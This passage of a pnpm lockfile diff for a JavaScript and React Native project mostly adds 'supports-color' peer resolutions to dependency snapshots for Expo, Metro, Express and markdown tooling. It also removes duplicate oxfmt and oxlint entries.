58.0.2(expo@58.0.14)(react-native@0.88.0(@babel/core@7.29.7)(@react-native/metro-config@0.88.0(@babel/core@7.29.7)(bufferutil@4.1.0)(utf-8-validate@6.0.6))(@types/react@19.3.0)(bufferutil@4.1.0)(react@19.3.0)(utf-8-validate@6.0.6))(react@19.3.0) - '@expo/metro-runtime': 58.0.14(@expo/log-box@58.0.12)(expo@58.0.14)(react-dom@19.3.0(react@19.3.0))(react-native@0.88.0(@babel/core@7.29.7)(@react-native/metro-config@0.88.0(@babel/core@7.29.7)(bufferutil@4.1.0)(utf-8-validate@6.0.6))(@types/react@19.3.0)(bufferutil@4.1.0)(react@19.3.0)(utf-8-validate@6.0.6))(react@19.3.0) + '@expo/metro-runtime': 58.0.14(@expo/log-box@58.0.12)(expo@58.0.14)(react-dom@19.3.0(react@19.3.0))(react-native@0.88.0(@babel/core@7.29.7(supports-color@8.1.1))(@react-native/metro-config@0.88.0(@babel/core@7.29.7(supports-color@8.1.1))(bufferutil@4.1.0)(supports-color@8.1.1)(utf-8-validate@6.0.6))(@types/react@19.3.0)(bufferutil@4.1.0)(react@19.3.0)(supports-color@8.1.1)(utf-8-validate@6.0.6))(react@19.3.0) react-dom: 19.3.0(react@19.3.0) - react-native-webview: 14.0.1(patch_hash=81caa279ec3dc1f81209062133b66e8f824e13f106cca57f1fa732a72c2ab378)(react-native@0.88.0(@babel/core@7.29.7)(@react-native/metro-config@0.88.0(@babel/core@7.29.7)(bufferutil@4.1.0)(utf-8-validate@6.0.6))(@types/react@19.3.0)(bufferutil@4.1.0)(react@19.3.0)(utf-8-validate@6.0.6))(react@19.3.0) + react-native-webview: 14.0.1(patch_hash=81caa279ec3dc1f81209062133b66e8f824e13f106cca57f1fa732a72c2ab378)(react-native@0.88.0(@babel/core@7.29.7(supports-color@8.1.1))(@react-native/metro-config@0.88.0(@babel/core@7.29.7(supports-color@8.1.1))(bufferutil@4.1.0)(supports-color@8.1.1)(utf-8-validate@6.0.6))(@types/react@19.3.0)(bufferutil@4.1.0)(react@19.3.0)(supports-color@8.1.1)(utf-8-validate@6.0.6))(react@19.3.0) transitivePeerDependencies: - '@babel/core' - bufferutil @@ -19325,25 +19014,25 @@ snapshots: exponential-backoff@3.1.3: {} - express-rate-limit@8.5.2(express@5.2.1): + express-rate-limit@8.5.2(express@5.2.1(supports-color@8.1.1)): dependencies: - express: 5.2.1 + express: 5.2.1(supports-color@8.1.1) ip-address: 10.7.2 - express@5.2.1: + express@5.2.1(supports-color@8.1.1): dependencies: accepts: 2.0.0 - body-parser: 2.3.0 + body-parser: 2.3.0(supports-color@8.1.1) content-disposition: 1.1.0 content-type: 1.0.5 cookie: 0.7.2 cookie-signature: 1.2.2 - debug: 4.4.3 + debug: 4.4.3(supports-color@8.1.1) depd: 2.0.0 encodeurl: 2.0.0 escape-html: 1.0.3 etag: 1.8.1 - finalhandler: 2.1.1 + finalhandler: 2.1.1(supports-color@8.1.1) fresh: 2.0.0 http-errors: 2.0.1 merge-descriptors: 2.0.0 @@ -19354,9 +19043,9 @@ snapshots: proxy-addr: 2.0.7 qs: 6.16.0 range-parser: 1.2.1 - router: 2.2.0 - send: 1.2.1 - serve-static: 2.2.1 + router: 2.2.0(supports-color@8.1.1) + send: 1.2.1(supports-color@8.1.1) + serve-static: 2.2.1(supports-color@8.1.1) statuses: 2.0.2 type-is: 2.1.0 vary: 1.1.2 @@ -19444,9 +19133,9 @@ snapshots: dependencies: to-regex-range: 5.0.1 - finalhandler@1.1.2: + finalhandler@1.1.2(supports-color@8.1.1): dependencies: - debug: 2.6.9 + debug: 2.6.9(supports-color@8.1.1) encodeurl: 1.0.2 escape-html: 1.0.3 on-finished: 2.3.0 @@ -19456,9 +19145,9 @@ snapshots: transitivePeerDependencies: - supports-color - finalhandler@2.1.1: + finalhandler@2.1.1(supports-color@8.1.1): dependencies: - debug: 4.4.3 + debug: 4.4.3(supports-color@8.1.1) encodeurl: 2.0.0 escape-html: 1.0.3 on-finished: 2.4.1 @@ -19744,7 +19433,7 @@ snapshots: stringify-entities: 4.0.4 zwitch: 2.0.4 - hast-util-to-jsx-runtime@2.3.6: + hast-util-to-jsx-runtime@2.3.6(supports-color@8.1.1): dependencies: '@types/estree': 1.0.9 '@types/hast': 3.0.5 @@ -19753,9 +19442,9 @@ snapshots: devlop: 1.1.0 estree-util-is-identifier-name: 3.0.0 hast-util-whitespace: 3.0.0 - mdast-util-mdx-expression: 2.0.1 - mdast-util-mdx-jsx: 3.2.0 - mdast-util-mdxjs-esm: 2.0.1 + mdast-util-mdx-expression: 2.0.1(supports-color@8.1.1) + mdast-util-mdx-jsx: 3.2.0(supports-color@8.1.1) + mdast-util-mdxjs-esm: 2.0.1(supports-color@8.1.1) property-information: 7.2.0 space-separated-tokens: 2.0.2 style-to-js: 1.1.21 @@ -19833,10 +19522,10 @@ snapshots: statuses: 2.0.2 toidentifier: 1.0.1 - http-proxy-agent@7.0.2: + http-proxy-agent@7.0.2(supports-color@8.1.1): dependencies: agent-base: 7.1.4 - debug: 4.4.3 + debug: 4.4.3(supports-color@8.1.1) transitivePeerDependencies: - supports-color @@ -19847,10 +19536,10 @@ snapshots: quick-lru: 5.1.1 resolve-alpn: 1.2.1 - https-proxy-agent@7.0.6: + https-proxy-agent@7.0.6(supports-color@8.1.1): dependencies: agent-base: 7.1.4 - debug: 4.4.3 + debug: 4.4.3(supports-color@8.1.1) transitivePeerDependencies: - supports-color @@ -19887,11 +19576,11 @@ snapshots: dependencies: loose-envify: 1.4.0 - ioredis@5.11.0: + ioredis@5.11.0(supports-color@8.1.1): dependencies: '@ioredis/commands': 1.10.0 cluster-key-slot: 1.1.1 - debug: 4.4.3 + debug: 4.4.3(supports-color@8.1.1) denque: 2.1.0 redis-errors: 1.2.0 redis-parser: 3.0.0 @@ -20293,13 +19982,13 @@ snapshots: math-intrinsics@1.1.0: {} - mdast-util-directive@3.1.0: + mdast-util-directive@3.1.0(supports-color@8.1.1): dependencies: '@types/mdast': 4.0.4 '@types/unist': 3.0.3 ccount: 2.0.1 devlop: 1.1.0 - mdast-util-from-markdown: 2.0.3 + mdast-util-from-markdown: 2.0.3(supports-color@8.1.1) mdast-util-to-markdown: 2.1.2 parse-entities: 4.0.2 stringify-entities: 4.0.4 @@ -20314,14 +20003,14 @@ snapshots: unist-util-is: 6.0.1 unist-util-visit-parents: 6.0.2 - mdast-util-from-markdown@2.0.3: + mdast-util-from-markdown@2.0.3(supports-color@8.1.1): dependencies: '@types/mdast': 4.0.4 '@types/unist': 3.0.3 decode-named-character-reference: 1.3.0 devlop: 1.1.0 mdast-util-to-string: 4.0.0 - micromark: 4.0.2 + micromark: 4.0.2(supports-color@8.1.1) micromark-util-decode-numeric-character-reference: 2.0.2 micromark-util-decode-string: 2.0.1 micromark-util-normalize-identifier: 2.0.1 @@ -20339,79 +20028,79 @@ snapshots: mdast-util-find-and-replace: 3.0.2 micromark-util-character: 2.1.1 - mdast-util-gfm-footnote@2.1.0: + mdast-util-gfm-footnote@2.1.0(supports-color@8.1.1): dependencies: '@types/mdast': 4.0.4 devlop: 1.1.0 - mdast-util-from-markdown: 2.0.3 + mdast-util-from-markdown: 2.0.3(supports-color@8.1.1) mdast-util-to-markdown: 2.1.2 micromark-util-normalize-identifier: 2.0.1 transitivePeerDependencies: - supports-color - mdast-util-gfm-strikethrough@2.0.0: + mdast-util-gfm-strikethrough@2.0.0(supports-color@8.1.1): dependencies: '@types/mdast': 4.0.4 - mdast-util-from-markdown: 2.0.3 + mdast-util-from-markdown: 2.0.3(supports-color@8.1.1) mdast-util-to-markdown: 2.1.2 transitivePeerDependencies: - supports-color - mdast-util-gfm-table@2.0.0: + mdast-util-gfm-table@2.0.0(supports-color@8.1.1): dependencies: '@types/mdast': 4.0.4 devlop: 1.1.0 markdown-table: 3.0.4 - mdast-util-from-markdown: 2.0.3 + mdast-util-from-markdown: 2.0.3(supports-color@8.1.1) mdast-util-to-markdown: 2.1.2 transitivePeerDependencies: - supports-color - mdast-util-gfm-task-list-item@2.0.0: + mdast-util-gfm-task-list-item@2.0.0(supports-color@8.1.1): dependencies: '@types/mdast': 4.0.4 devlop: 1.1.0 - mdast-util-from-markdown: 2.0.3 + mdast-util-from-markdown: 2.0.3(supports-color@8.1.1) mdast-util-to-markdown: 2.1.2 transitivePeerDependencies: - supports-color - mdast-util-gfm@3.1.0: + mdast-util-gfm@3.1.0(supports-color@8.1.1): dependencies: - mdast-util-from-markdown: 2.0.3 + mdast-util-from-markdown: 2.0.3(supports-color@8.1.1) mdast-util-gfm-autolink-literal: 2.0.1 - mdast-util-gfm-footnote: 2.1.0 - mdast-util-gfm-strikethrough: 2.0.0 - mdast-util-gfm-table: 2.0.0 - mdast-util-gfm-task-list-item: 2.0.0 + mdast-util-gfm-footnote: 2.1.0(supports-color@8.1.1) + mdast-util-gfm-strikethrough: 2.0.0(supports-color@8.1.1) + mdast-util-gfm-table: 2.0.0(supports-color@8.1.1) + mdast-util-gfm-task-list-item: 2.0.0(supports-color@8.1.1) mdast-util-to-markdown: 2.1.2 transitivePeerDependencies: - supports-color - mdast-util-math@3.0.0(patch_hash=afe6b2c89e1eaddfd3c90cf2723f12c9a17d513e65beff51653781486013251c): + mdast-util-math@3.0.0(patch_hash=afe6b2c89e1eaddfd3c90cf2723f12c9a17d513e65beff51653781486013251c)(supports-color@8.1.1): dependencies: '@types/hast': 3.0.5 '@types/mdast': 4.0.4 devlop: 1.1.0 longest-streak: 3.1.0 - mdast-util-from-markdown: 2.0.3 + mdast-util-from-markdown: 2.0.3(supports-color@8.1.1) mdast-util-to-markdown: 2.1.2 unist-util-remove-position: 5.0.0 transitivePeerDependencies: - supports-color - mdast-util-mdx-expression@2.0.1: + mdast-util-mdx-expression@2.0.1(supports-color@8.1.1): dependencies: '@types/estree-jsx': 1.0.5 '@types/hast': 3.0.5 '@types/mdast': 4.0.4 devlop: 1.1.0 - mdast-util-from-markdown: 2.0.3 + mdast-util-from-markdown: 2.0.3(supports-color@8.1.1) mdast-util-to-markdown: 2.1.2 transitivePeerDependencies: - supports-color - mdast-util-mdx-jsx@3.2.0: + mdast-util-mdx-jsx@3.2.0(supports-color@8.1.1): dependencies: '@types/estree-jsx': 1.0.5 '@types/hast': 3.0.5 @@ -20419,7 +20108,7 @@ snapshots: '@types/unist': 3.0.3 ccount: 2.0.1 devlop: 1.1.0 - mdast-util-from-markdown: 2.0.3 + mdast-util-from-markdown: 2.0.3(supports-color@8.1.1) mdast-util-to-markdown: 2.1.2 parse-entities: 4.0.2 stringify-entities: 4.0.4 @@ -20428,13 +20117,13 @@ snapshots: transitivePeerDependencies: - supports-color - mdast-util-mdxjs-esm@2.0.1: + mdast-util-mdxjs-esm@2.0.1(supports-color@8.1.1): dependencies: '@types/estree-jsx': 1.0.5 '@types/hast': 3.0.5 '@types/mdast': 4.0.4 devlop: 1.1.0 - mdast-util-from-markdown: 2.0.3 + mdast-util-from-markdown: 2.0.3(supports-color@8.1.1) mdast-util-to-markdown: 2.1.2 transitivePeerDependencies: - supports-color @@ -20496,9 +20185,9 @@ snapshots: meshoptimizer@0.22.0: {} - metro-babel-transformer@0.87.1: + metro-babel-transformer@0.87.1(supports-color@8.1.1): dependencies: - '@babel/core': 7.29.7 + '@babel/core': 7.29.7(supports-color@8.1.1) flow-enums-runtime: 0.0.6 flow-parser: 0.331.0 metro-cache-key: 0.87.1 @@ -20510,22 +20199,22 @@ snapshots: dependencies: flow-enums-runtime: 0.0.6 - metro-cache@0.87.1: + metro-cache@0.87.1(supports-color@8.1.1): dependencies: exponential-backoff: 3.1.3 flow-enums-runtime: 0.0.6 - https-proxy-agent: 7.0.6 + https-proxy-agent: 7.0.6(supports-color@8.1.1) metro-core: 0.87.1 transitivePeerDependencies: - supports-color - metro-config@0.87.1(bufferutil@4.1.0)(utf-8-validate@6.0.6): + metro-config@0.87.1(bufferutil@4.1.0)(supports-color@8.1.1)(utf-8-validate@6.0.6): dependencies: - connect: 3.7.0 + connect: 3.7.0(supports-color@8.1.1) flow-enums-runtime: 0.0.6 jest-validate: 29.7.0 - metro: 0.87.1(bufferutil@4.1.0)(utf-8-validate@6.0.6) - metro-cache: 0.87.1 + metro: 0.87.1(bufferutil@4.1.0)(supports-color@8.1.1)(utf-8-validate@6.0.6) + metro-cache: 0.87.1(supports-color@8.1.1) metro-core: 0.87.1 metro-runtime: 0.87.1 transitivePeerDependencies: @@ -20539,9 +20228,9 @@ snapshots: lodash.throttle: 4.1.1 metro-resolver: 0.87.1 - metro-file-map@0.87.1: + metro-file-map@0.87.1(supports-color@8.1.1): dependencies: - debug: 4.4.3 + debug: 4.4.3(supports-color@8.1.1) fb-watchman: 2.0.2 flow-enums-runtime: 0.0.6 graceful-fs: 4.2.11 @@ -20566,9 +20255,9 @@ snapshots: '@babel/runtime': 7.29.7 flow-enums-runtime: 0.0.6 - metro-source-map@0.87.1: + metro-source-map@0.87.1(supports-color@8.1.1): dependencies: - '@babel/traverse': 7.29.7 + '@babel/traverse': 7.29.7(supports-color@8.1.1) '@babel/types': 7.29.8 flow-enums-runtime: 0.0.6 invariant: 2.2.4 @@ -20584,56 +20273,54 @@ snapshots: dependencies: flow-enums-runtime: 0.0.6 invariant: 2.2.4 - metro-source-map: 0.87.1 + metro-source-map: 0.87.1(supports-color@8.1.1) nullthrows: 1.1.1 source-map: 0.5.7 vlq: 1.0.1 - transitivePeerDependencies: - - supports-color - metro-transform-plugins@0.87.1: + metro-transform-plugins@0.87.1(supports-color@8.1.1): dependencies: - '@babel/core': 7.29.7 + '@babel/core': 7.29.7(supports-color@8.1.1) '@babel/generator': 7.29.7 '@babel/template': 7.29.7 - '@babel/traverse': 7.29.7 + '@babel/traverse': 7.29.7(supports-color@8.1.1) flow-enums-runtime: 0.0.6 nullthrows: 1.1.1 transitivePeerDependencies: - supports-color - metro-transform-worker@0.87.1(bufferutil@4.1.0)(utf-8-validate@6.0.6): + metro-transform-worker@0.87.1(bufferutil@4.1.0)(supports-color@8.1.1)(utf-8-validate@6.0.6): dependencies: - '@babel/core': 7.29.7 + '@babel/core': 7.29.7(supports-color@8.1.1) '@babel/generator': 7.29.7 '@babel/parser': 7.29.8 '@babel/types': 7.29.8 flow-enums-runtime: 0.0.6 - metro: 0.87.1(bufferutil@4.1.0)(utf-8-validate@6.0.6) - metro-babel-transformer: 0.87.1 - metro-cache: 0.87.1 + metro: 0.87.1(bufferutil@4.1.0)(supports-color@8.1.1)(utf-8-validate@6.0.6) + metro-babel-transformer: 0.87.1(supports-color@8.1.1) + metro-cache: 0.87.1(supports-color@8.1.1) metro-cache-key: 0.87.1 metro-minify-terser: 0.87.1 - metro-source-map: 0.87.1 - metro-transform-plugins: 0.87.1 + metro-source-map: 0.87.1(supports-color@8.1.1) + metro-transform-plugins: 0.87.1(supports-color@8.1.1) nullthrows: 1.1.1 transitivePeerDependencies: - bufferutil - supports-color - utf-8-validate - metro@0.87.1(bufferutil@4.1.0)(utf-8-validate@6.0.6): + metro@0.87.1(bufferutil@4.1.0)(supports-color@8.1.1)(utf-8-validate@6.0.6): dependencies: '@babel/code-frame': 7.29.7 - '@babel/core': 7.29.7 + '@babel/core': 7.29.7(supports-color@8.1.1) '@babel/generator': 7.29.7 '@babel/parser': 7.29.8 '@babel/template': 7.29.7 - '@babel/traverse': 7.29.7 + '@babel/traverse': 7.29.7(supports-color@8.1.1) '@babel/types': 7.29.8 accepts: 2.0.0 - connect: 3.7.0 - debug: 4.4.3 + connect: 3.7.0(supports-color@8.1.1) + debug: 4.4.3(supports-color@8.1.1) error-stack-parser: 2.1.4 flow-enums-runtime: 0.0.6 flow-parser: 0.331.0 @@ -20642,18 +20329,18 @@ snapshots: jest-worker: 29.7.0 jsc-safe-url: 0.2.4 lodash.throttle: 4.1.1 - metro-babel-transformer: 0.87.1 - metro-cache: 0.87.1 + metro-babel-transformer: 0.87.1(supports-color@8.1.1) + metro-cache: 0.87.1(supports-color@8.1.1) metro-cache-key: 0.87.1 - metro-config: 0.87.1(bufferutil@4.1.0)(utf-8-validate@6.0.6) + metro-config: 0.87.1(bufferutil@4.1.0)(supports-color@8.1.1)(utf-8-validate@6.0.6) metro-core: 0.87.1 - metro-file-map: 0.87.1 + metro-file-map: 0.87.1(supports-color@8.1.1) metro-resolver: 0.87.1 metro-runtime: 0.87.1 - metro-source-map: 0.87.1 + metro-source-map: 0.87.1(supports-color@8.1.1) metro-symbolicate: 0.87.1 - metro-transform-plugins: 0.87.1 - metro-transform-worker: 0.87.1(bufferutil@4.1.0)(utf-8-validate@6.0.6) + metro-transform-plugins: 0.87.1(supports-color@8.1.1) + metro-transform-worker: 0.87.1(bufferutil@4.1.0)(supports-color@8.1.1)(utf-8-validate@6.0.6) mime-types: 3.0.2 nullthrows: 1.1.1 serialize-error: 2.1.0 @@ -20855,10 +20542,10 @@ snapshots: micromark-util-types@2.0.2: {} - micromark@4.0.2: + micromark@4.0.2(supports-color@8.1.1): dependencies: '@types/debug': 4.1.13 - debug: 4.4.3 + debug: 4.4.3(supports-color@8.1.1) decode-named-character-reference: 1.3.0 devlop: 1.1.0 micromark-core-commonmark: 2.0.3 @@ -20958,11 +20645,11 @@ snapshots: socks: 2.8.9 optional: true - morphicons@1.7.1(react-native-svg@15.16.0(react-native@0.88.0(@babel/core@7.29.7)(@react-native/metro-config@0.88.0(@babel/core@7.29.7)(bufferutil@4.1.0)(utf-8-validate@6.0.6))(@types/react@19.3.0)(bufferutil@4.1.0)(react@19.3.0)(utf-8-validate@6.0.6))(react@19.3.0))(react-native@0.88.0(@babel/core@7.29.7)(@react-native/metro-config@0.88.0(@babel/core@7.29.7)(bufferutil@4.1.0)(utf-8-validate@6.0.6))(@types/react@19.3.0)(bufferutil@4.1.0)(react@19.3.0)(utf-8-validate@6.0.6))(react@19.3.0): + morphicons@1.7.1(react-native-svg@15.16.0(react-native@0.88.0(@babel/core@7.29.7(supports-color@8.1.1))(@react-native/metro-config@0.88.0(@babel/core@7.29.7(supports-color@8.1.1))(bufferutil@4.1.0)(supports-color@8.1.1)(utf-8-validate@6.0.6))(@types/react@19.3.0)(bufferutil@4.1.0)(react@19.3.0)(supports-color@8.1.1)(utf-8-validate@6.0.6))(react@19.3.0))(react-native@0.88.0(@babel/core@7.29.7(supports-color@8.1.1))(@react-native/metro-config@0.88.0(@babel/core@7.29.7(supports-color@8.1.1))(bufferutil@4.1.0)(supports-color@8.1.1)(utf-8-validate@6.0.6))(@types/react@19.3.0)(bufferutil@4.1.0)(react@19.3.0)(supports-color@8.1.1)(utf-8-validate@6.0.6))(react@19.3.0): optionalDependencies: react: 19.3.0 - react-native: 0.88.0(@babel/core@7.29.7)(@react-native/metro-config@0.88.0(@babel/core@7.29.7)(bufferutil@4.1.0)(utf-8-validate@6.0.6))(@types/react@19.3.0)(bufferutil@4.1.0)(react@19.3.0)(utf-8-validate@6.0.6) - react-native-svg: 15.16.0(react-native@0.88.0(@babel/core@7.29.7)(@react-native/metro-config@0.88.0(@babel/core@7.29.7)(bufferutil@4.1.0)(utf-8-validate@6.0.6))(@types/react@19.3.0)(bufferutil@4.1.0)(react@19.3.0)(utf-8-validate@6.0.6))(react@19.3.0) + react-native: 0.88.0(@babel/core@7.29.7(supports-color@8.1.1))(@react-native/metro-config@0.88.0(@babel/core@7.29.7(supports-color@8.1.1))(bufferutil@4.1.0)(supports-color@8.1.1)(utf-8-validate@6.0.6))(@types/react@19.3.0)(bufferutil@4.1.0)(react@19.3.0)(supports-color@8.1.1)(utf-8-validate@6.0.6) + react-native-svg: 15.16.0(react-native@0.88.0(@babel/core@7.29.7(supports-color@8.1.1))(@react-native/metro-config@0.88.0(@babel/core@7.29.7(supports-color@8.1.1))(bufferutil@4.1.0)(supports-color@8.1.1)(utf-8-validate@6.0.6))(@types/react@19.3.0)(bufferutil@4.1.0)(react@19.3.0)(supports-color@8.1.1)(utf-8-validate@6.0.6))(react@19.3.0) mrmime@2.0.1: {} @@ -21327,33 +21014,7 @@ snapshots: '@oxc-transform-react/binding-win32-ia32-msvc': 0.152.0 '@oxc-transform-react/binding-win32-x64-msvc': 0.152.0 - oxfmt@0.73.0(@astrojs/compiler-rs@0.5.1)(vite-plus@1.3.0(@astrojs/compiler-rs@0.5.1)(@types/node@24.12.4)(@vitest/browser-playwright@5.0.5)(@vitest/ui@5.0.5(vitest@5.0.5))(@volar/typescript@2.4.28)(bufferutil@4.1.0)(esbuild@0.28.2)(jiti@2.7.0)(jsdom@30.1.0(@noble/hashes@1.8.0))(msw@2.12.11(@types/node@24.12.4)(typescript@7.0.2))(playwright@1.60.0)(terser@5.48.0)(typescript@7.0.2)(unrun@0.2.39)(utf-8-validate@6.0.6)(yaml@2.9.0)): - dependencies: - tinypool: 2.2.0 - optionalDependencies: - '@astrojs/compiler-rs': 0.5.1 - '@oxfmt/binding-android-arm-eabi': 0.73.0 - '@oxfmt/binding-android-arm64': 0.73.0 - '@oxfmt/binding-darwin-arm64': 0.73.0 - '@oxfmt/binding-darwin-x64': 0.73.0 - '@oxfmt/binding-freebsd-x64': 0.73.0 - '@oxfmt/binding-linux-arm-gnueabihf': 0.73.0 - '@oxfmt/binding-linux-arm-musleabihf': 0.73.0 - '@oxfmt/binding-linux-arm64-gnu': 0.73.0 - '@oxfmt/binding-linux-arm64-musl': 0.73.0 - '@oxfmt/binding-linux-ppc64-gnu': 0.73.0 - '@oxfmt/binding-linux-riscv64-gnu': 0.73.0 - '@oxfmt/binding-linux-riscv64-musl': 0.73.0 - '@oxfmt/binding-linux-s390x-gnu': 0.73.0 - '@oxfmt/binding-linux-x64-gnu': 0.73.0 - '@oxfmt/binding-linux-x64-musl': 0.73.0 - '@oxfmt/binding-openharmony-arm64': 0.73.0 - '@oxfmt/binding-win32-arm64-msvc': 0.73.0 - '@oxfmt/binding-win32-ia32-msvc': 0.73.0 - '@oxfmt/binding-win32-x64-msvc': 0.73.0 - vite-plus: 1.3.0(@astrojs/compiler-rs@0.5.1)(@types/node@24.12.4)(@vitest/browser-playwright@5.0.5)(@vitest/ui@5.0.5(vitest@5.0.5))(@volar/typescript@2.4.28)(bufferutil@4.1.0)(esbuild@0.28.2)(jiti@2.7.0)(jsdom@30.1.0(@noble/hashes@1.8.0))(msw@2.12.11(@types/node@24.12.4)(typescript@7.0.2))(playwright@1.60.0)(terser@5.48.0)(typescript@7.0.2)(unrun@0.2.39)(utf-8-validate@6.0.6)(yaml@2.9.0) - - oxfmt@0.73.0(@astrojs/compiler-rs@0.5.1)(vite-plus@1.3.0(@astrojs/compiler-rs@0.5.1)(@types/node@24.12.4)(@vitest/browser-playwright@5.0.5)(@vitest/ui@5.0.5)(@volar/typescript@2.4.28)(bufferutil@4.1.0)(esbuild@0.28.2)(jiti@2.7.0)(jsdom@30.1.0(@noble/hashes@1.8.0))(msw@2.12.11(@types/node@24.12.4)(typescript@7.0.2))(playwright@1.60.0)(terser@5.48.0)(typescript@7.0.2)(unrun@0.2.39)(utf-8-validate@6.0.6)(yaml@2.9.0)): + oxfmt@0.73.0(@astrojs/compiler-rs@0.5.1)(vite-plus@1.3.0(@astrojs/compiler-rs@0.5.1)(@types/node@24.12.4)(@vitest/browser-playwright@5.0.5)(@vitest/ui@5.0.5)(@volar/typescript@2.4.28(typescript@7.0.2))(bufferutil@4.1.0)(esbuild@0.28.2)(jiti@2.7.0)(jsdom@30.1.0(@noble/hashes@1.8.0))(msw@2.12.11(@types/node@24.12.4)(typescript@7.0.2))(playwright@1.60.0)(terser@5.48.0)(typescript@7.0.2)(unrun@0.2.39)(utf-8-validate@6.0.6)(yaml@2.9.0)): dependencies: tinypool: 2.2.0 optionalDependencies: @@ -21377,7 +21038,7 @@ snapshots: '@oxfmt/binding-win32-arm64-msvc': 0.73.0 '@oxfmt/binding-win32-ia32-msvc': 0.73.0 '@oxfmt/binding-win32-x64-msvc': 0.73.0 - vite-plus: 1.3.0(@astrojs/compiler-rs@0.5.1)(@types/node@24.12.4)(@vitest/browser-playwright@5.0.5)(@vitest/ui@5.0.5)(@volar/typescript@2.4.28)(bufferutil@4.1.0)(esbuild@0.28.2)(jiti@2.7.0)(jsdom@30.1.0(@noble/hashes@1.8.0))(msw@2.12.11(@types/node@24.12.4)(typescript@7.0.2))(playwright@1.60.0)(terser@5.48.0)(typescript@7.0.2)(unrun@0.2.39)(utf-8-validate@6.0.6)(yaml@2.9.0) + vite-plus: 1.3.0(@astrojs/compiler-rs@0.5.1)(@types/node@24.12.4)(@vitest/browser-playwright@5.0.5)(@vitest/ui@5.0.5)(@volar/typescript@2.4.28(typescript@7.0.2))(bufferutil@4.1.0)(esbuild@0.28.2)(jiti@2.7.0)(jsdom@30.1.0(@noble/hashes@1.8.0))(msw@2.12.11(@types/node@24.12.4)(typescript@7.0.2))(playwright@1.60.0)(terser@5.48.0)(typescript@7.0.2)(unrun@0.2.39)(utf-8-validate@6.0.6)(yaml@2.9.0) oxlint-tsgolint@7.0.2004: optionalDependencies: @@ -21388,7 +21049,7 @@ snapshots: '@oxlint-tsgolint/win32-arm64': 7.0.2004 '@oxlint-tsgolint/win32-x64': 7.0.2004 - oxlint@1.88.0(oxlint-tsgolint@7.0.2004)(vite-plus@1.3.0(@astrojs/compiler-rs@0.5.1)(@types/node@24.12.4)(@vitest/browser-playwright@5.0.5)(@vitest/ui@5.0.5(vitest@5.0.5))(@volar/typescript@2.4.28)(bufferutil@4.1.0)(esbuild@0.28.2)(jiti@2.7.0)(jsdom@30.1.0(@noble/hashes@1.8.0))(msw@2.12.11(@types/node@24.12.4)(typescript@7.0.2))(playwright@1.60.0)(terser@5.48.0)(typescript@7.0.2)(unrun@0.2.39)(utf-8-validate@6.0.6)(yaml@2.9.0)): + oxlint@1.88.0(oxlint-tsgolint@7.0.2004)(vite-plus@1.3.0(@astrojs/compiler-rs@0.5.1)(@types/node@24.12.4)(@vitest/browser-playwright@5.0.5)(@vitest/ui@5.0.5)(@volar/typescript@2.4.28(typescript@7.0.2))(bufferutil@4.1.0)(esbuild@0.28.2)(jiti@2.7.0)(jsdom@30.1.0(@noble/hashes@1.8.0))(msw@2.12.11(@types/node@24.12.4)(typescript@7.0.2))(playwright@1.60.0)(terser@5.48.0)(typescript@7.0.2)(unrun@0.2.39)(utf-8-validate@6.0.6)(yaml@2.9.0)): optionalDependencies: '@oxlint/binding-android-arm-eabi': 1.88.0 '@oxlint/binding-android-arm64': 1.88.0 @@ -21410,31 +21071,7 @@ snapshots: '@oxlint/binding-win32-ia32-msvc': 1.88.0 '@oxlint/binding-win32-x64-msvc': 1.88.0 oxlint-tsgolint: 7.0.2004 - vite-plus: 1.3.0(@astrojs/compiler-rs@0.5.1)(@types/node@24.12.4)(@vitest/browser-playwright@5.0.5)(@vitest/ui@5.0.5(vitest@5.0.5))(@volar/typescript@2.4.28)(bufferutil@4.1.0)(esbuild@0.28.2)(jiti@2.7.0)(jsdom@30.1.0(@noble/hashes@1.8.0))(msw@2.12.11(@types/node@24.12.4)(typescript@7.0.2))(playwright@1.60.0)(terser@5.48.0)(typescript@7.0.2)(unrun@0.2.39)(utf-8-validate@6.0.6)(yaml@2.9.0) - - oxlint@1.88.0(oxlint-tsgolint@7.0.2004)(vite-plus@1.3.0(@astrojs/compiler-rs@0.5.1)(@types/node@24.12.4)(@vitest/browser-playwright@5.0.5)(@vitest/ui@5.0.5)(@volar/typescript@2.4.28)(bufferutil@4.1.0)(esbuild@0.28.2)(jiti@2.7.0)(jsdom@30.1.0(@noble/hashes@1.8.0))(msw@2.12.11(@types/node@24.12.4)(typescript@7.0.2))(playwright@1.60.0)(terser@5.48.0)(typescript@7.0.2)(unrun@0.2.39)(utf-8-validate@6.0.6)(yaml@2.9.0)): - optionalDependencies: - '@oxlint/binding-android-arm-eabi': 1.88.0 - '@oxlint/binding-android-arm64': 1.88.0 - '@oxlint/binding-darwin-arm64': 1.88.0 - '@oxlint/binding-darwin-x64': 1.88.0 - '@oxlint/binding-freebsd-x64': 1.88.0 - '@oxlint/binding-linux-arm-gnueabihf': 1.88.0 - '@oxlint/binding-linux-arm-musleabihf': 1.88.0 - '@oxlint/binding-linux-arm64-gnu': 1.88.0 - '@oxlint/binding-linux-arm64-musl': 1.88.0 - '@oxlint/binding-linux-ppc64-gnu': 1.88.0 - '@oxlint/binding-linux-riscv64-gnu': 1.88.0 - '@oxlint/binding-linux-riscv64-musl': 1.88.0 - '@oxlint/binding-linux-s390x-gnu': 1.88.0 - '@oxlint/binding-linux-x64-gnu': 1.88.0 - '@oxlint/binding-linux-x64-musl': 1.88.0 - '@oxlint/binding-openharmony-arm64': 1.88.0 - '@oxlint/binding-win32-arm64-msvc': 1.88.0 - '@oxlint/binding-win32-ia32-msvc': 1.88.0 - '@oxlint/binding-win32-x64-msvc': 1.88.0 - oxlint-tsgolint: 7.0.2004 - vite-plus: 1.3.0(@astrojs/compiler-rs@0.5.1)(@types/node@24.12.4)(@vitest/browser-playwright@5.0.5)(@vitest/ui@5.0.5)(@volar/typescript@2.4.28)(bufferutil@4.1.0)(esbuild@0.28.2)(jiti@2.7.0)(jsdom@30.1.0(@noble/hashes@1.8.0))(msw@2.12.11(@types/node@24.12.4)(typescript@7.0.2))(playwright@1.60.0)(terser@5.48.0)(typescript@7.0.2)(unrun@0.2.39)(utf-8-validate@6.0.6)(yaml@2.9.0) + vite-plus: 